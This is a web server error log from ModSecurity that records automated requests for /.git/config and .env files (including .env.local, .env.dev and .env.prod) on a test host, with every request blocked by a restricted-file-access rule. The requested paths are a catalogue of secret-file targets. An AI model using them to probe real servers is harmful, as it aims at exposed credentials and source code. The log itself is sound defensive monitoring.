[Tue Jul 29 22:39:18.004264 2025] [:error] [pid 1559987] [client 93.123.109.64:33564] [client 93.123.109.64] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aIkxdsyFM1VooOhBOm5FagAAAA4"]
[Tue Jul 29 22:39:18.004643 2025] [:error] [pid 1559987] [client 93.123.109.64:33564] [client 93.123.109.64] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aIkxdsyFM1VooOhBOm5FagAAAA4"]
[Tue Jul 29 22:39:18.004867 2025] [:error] [pid 1559987] [client 93.123.109.64:33564] [client 93.123.109.64] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aIkxdsyFM1VooOhBOm5FagAAAA4"]
[Wed Jul 30 02:58:34.779852 2025] [:error] [pid 1562051] [client 213.209.143.116:52604] [client 213.209.143.116] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aIluOt-GMxL_OSGeR0h4yQAAAAg"]
[Wed Jul 30 02:58:34.780048 2025] [:error] [pid 1562051] [client 213.209.143.116:52604] [client 213.209.143.116] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aIluOt-GMxL_OSGeR0h4yQAAAAg"]
[Wed Jul 30 02:58:34.780206 2025] [:error] [pid 1562051] [client 213.209.143.116:52604] [client 213.209.143.116] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aIluOt-GMxL_OSGeR0h4yQAAAAg"]
[Wed Jul 30 04:55:16.852918 2025] [:error] [pid 1567422] [client 194.163.152.77:51438] [client 194.163.152.77] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aImJlCBff2WPIAWgqZf15QAAAAg"]
[Wed Jul 30 04:55:16.853234 2025] [:error] [pid 1567422] [client 194.163.152.77:51438] [client 194.163.152.77] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aImJlCBff2WPIAWgqZf15QAAAAg"]
[Wed Jul 30 04:55:16.853411 2025] [:error] [pid 1567422] [client 194.163.152.77:51438] [client 194.163.152.77] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aImJlCBff2WPIAWgqZf15QAAAAg"]
[Wed Jul 30 09:39:35.583071 2025] [:error] [pid 1572605] [client 24.0.197.127:50802] [client 24.0.197.127] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aInMNx4OdNqCIdRlHH8ufgAAAAQ"]
[Wed Jul 30 09:39:35.583762 2025] [:error] [pid 1572605] [client 24.0.197.127:50802] [client 24.0.197.127] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aInMNx4OdNqCIdRlHH8ufgAAAAQ"]
[Wed Jul 30 09:39:35.583927 2025] [:error] [pid 1572605] [client 24.0.197.127:50802] [client 24.0.197.127] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aInMNx4OdNqCIdRlHH8ufgAAAAQ"]
[Wed Jul 30 10:52:31.283926 2025] [:error] [pid 1572565] [client 20.74.85.78:35410] [client 20.74.85.78] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aIndTzxiVvbLzR0DnwKWNQAAAAA"]
[Wed Jul 30 10:52:31.284226 2025] [:error] [pid 1572565] [client 20.74.85.78:35410] [client 20.74.85.78] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aIndTzxiVvbLzR0DnwKWNQAAAAA"]
[Wed Jul 30 10:52:31.284434 2025] [:error] [pid 1572565] [client 20.74.85.78:35410] [client 20.74.85.78] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aIndTzxiVvbLzR0DnwKWNQAAAAA"]
[Fri Aug 01 05:35:36.443277 2025] [:error] [pid 1615744] [client 93.123.109.7:34790] [client 93.123.109.7] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aIw2CJNVgJdRzVCLpr0lwQAAAAM"]
[Fri Aug 01 05:35:36.444764 2025] [:error] [pid 1615744] [client 93.123.109.7:34790] [client 93.123.109.7] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aIw2CJNVgJdRzVCLpr0lwQAAAAM"]
[Fri Aug 01 05:35:36.444919 2025] [:error] [pid 1615744] [client 93.123.109.7:34790] [client 93.123.109.7] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aIw2CJNVgJdRzVCLpr0lwQAAAAM"]
[Fri Aug 01 06:01:34.592609 2025] [:error] [pid 1615761] [client 185.103.101.131:58282] [client 185.103.101.131] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aIw8HurvdTVqnAZ_mAiyUgAAAAU"]
[Fri Aug 01 06:01:34.592895 2025] [:error] [pid 1615761] [client 185.103.101.131:58282] [client 185.103.101.131] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aIw8HurvdTVqnAZ_mAiyUgAAAAU"]
[Fri Aug 01 06:01:34.593070 2025] [:error] [pid 1615761] [client 185.103.101.131:58282] [client 185.103.101.131] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aIw8HurvdTVqnAZ_mAiyUgAAAAU"]
[Sat Aug 02 19:20:02.153798 2025] [:error] [pid 1640658] [client 196.251.81.14:56590] [client 196.251.81.14] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aI5Iwm1ARV2P34JYtMyk5gAAAAM"]
[Sat Aug 02 19:20:02.156594 2025] [:error] [pid 1640658] [client 196.251.81.14:56590] [client 196.251.81.14] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aI5Iwm1ARV2P34JYtMyk5gAAAAM"]
[Sat Aug 02 19:20:02.156780 2025] [:error] [pid 1640658] [client 196.251.81.14:56590] [client 196.251.81.14] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aI5Iwm1ARV2P34JYtMyk5gAAAAM"]
[Sun Aug 03 00:31:37.484829 2025] [:error] [pid 1662630] [client 147.182.185.79:59960] [client 147.182.185.79] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aI6Rydcw3BeTH_jDfHtmrwAAAAM"]
[Sun Aug 03 00:31:37.485112 2025] [:error] [pid 1662630] [client 147.182.185.79:59960] [client 147.182.185.79] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aI6Rydcw3BeTH_jDfHtmrwAAAAM"]
[Sun Aug 03 00:31:37.485279 2025] [:error] [pid 1662630] [client 147.182.185.79:59960] [client 147.182.185.79] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aI6Rydcw3BeTH_jDfHtmrwAAAAM"]
[Mon Aug 04 17:34:07.053978 2025] [:error] [pid 1690474] [client 185.177.72.106:36752] [client 185.177.72.106] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aJDS77FGPv99hD99NPMk_wAAAAI"]
[Mon Aug 04 17:34:07.055358 2025] [:error] [pid 1690474] [client 185.177.72.106:36752] [client 185.177.72.106] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aJDS77FGPv99hD99NPMk_wAAAAI"]
[Mon Aug 04 17:34:07.055542 2025] [:error] [pid 1690474] [client 185.177.72.106:36752] [client 185.177.72.106] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aJDS77FGPv99hD99NPMk_wAAAAI"]
[Mon Aug 04 17:34:07.077519 2025] [:error] [pid 1690474] [client 185.177.72.106:36752] [client 185.177.72.106] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.local"] [unique_id "aJDS77FGPv99hD99NPMlAAAAAAI"]
[Mon Aug 04 17:34:07.077765 2025] [:error] [pid 1690474] [client 185.177.72.106:36752] [client 185.177.72.106] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.local"] [unique_id "aJDS77FGPv99hD99NPMlAAAAAAI"]
[Mon Aug 04 17:34:07.077953 2025] [:error] [pid 1690474] [client 185.177.72.106:36752] [client 185.177.72.106] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.local"] [unique_id "aJDS77FGPv99hD99NPMlAAAAAAI"]
[Mon Aug 04 17:34:07.100145 2025] [:error] [pid 1690474] [client 185.177.72.106:36752] [client 185.177.72.106] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.dev"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.dev"] [unique_id "aJDS77FGPv99hD99NPMlAQAAAAI"]
[Mon Aug 04 17:34:07.100382 2025] [:error] [pid 1690474] [client 185.177.72.106:36752] [client 185.177.72.106] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.dev"] [unique_id "aJDS77FGPv99hD99NPMlAQAAAAI"]
[Mon Aug 04 17:34:07.100545 2025] [:error] [pid 1690474] [client 185.177.72.106:36752] [client 185.177.72.106] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.dev"] [unique_id "aJDS77FGPv99hD99NPMlAQAAAAI"]
[Mon Aug 04 17:34:07.122605 2025] [:error] [pid 1690474] [client 185.177.72.106:36752] [client 185.177.72.106] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.development"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.development"] [unique_id "aJDS77FGPv99hD99NPMlAgAAAAI"]
[Mon Aug 04 17:34:07.122838 2025] [:error] [pid 1690474] [client 185.177.72.106:36752] [client 185.177.72.106] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.development"] [unique_id "aJDS77FGPv99hD99NPMlAgAAAAI"]
[Mon Aug 04 17:34:07.123041 2025] [:error] [pid 1690474] [client 185.177.72.106:36752] [client 185.177.72.106] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.development"] [unique_id "aJDS77FGPv99hD99NPMlAgAAAAI"]
[Mon Aug 04 17:34:07.145089 2025] [:error] [pid 1690474] [client 185.177.72.106:36752] [client 185.177.72.106] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.prod"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.prod"] [unique_id "aJDS77FGPv99hD99NPMlAwAAAAI"]
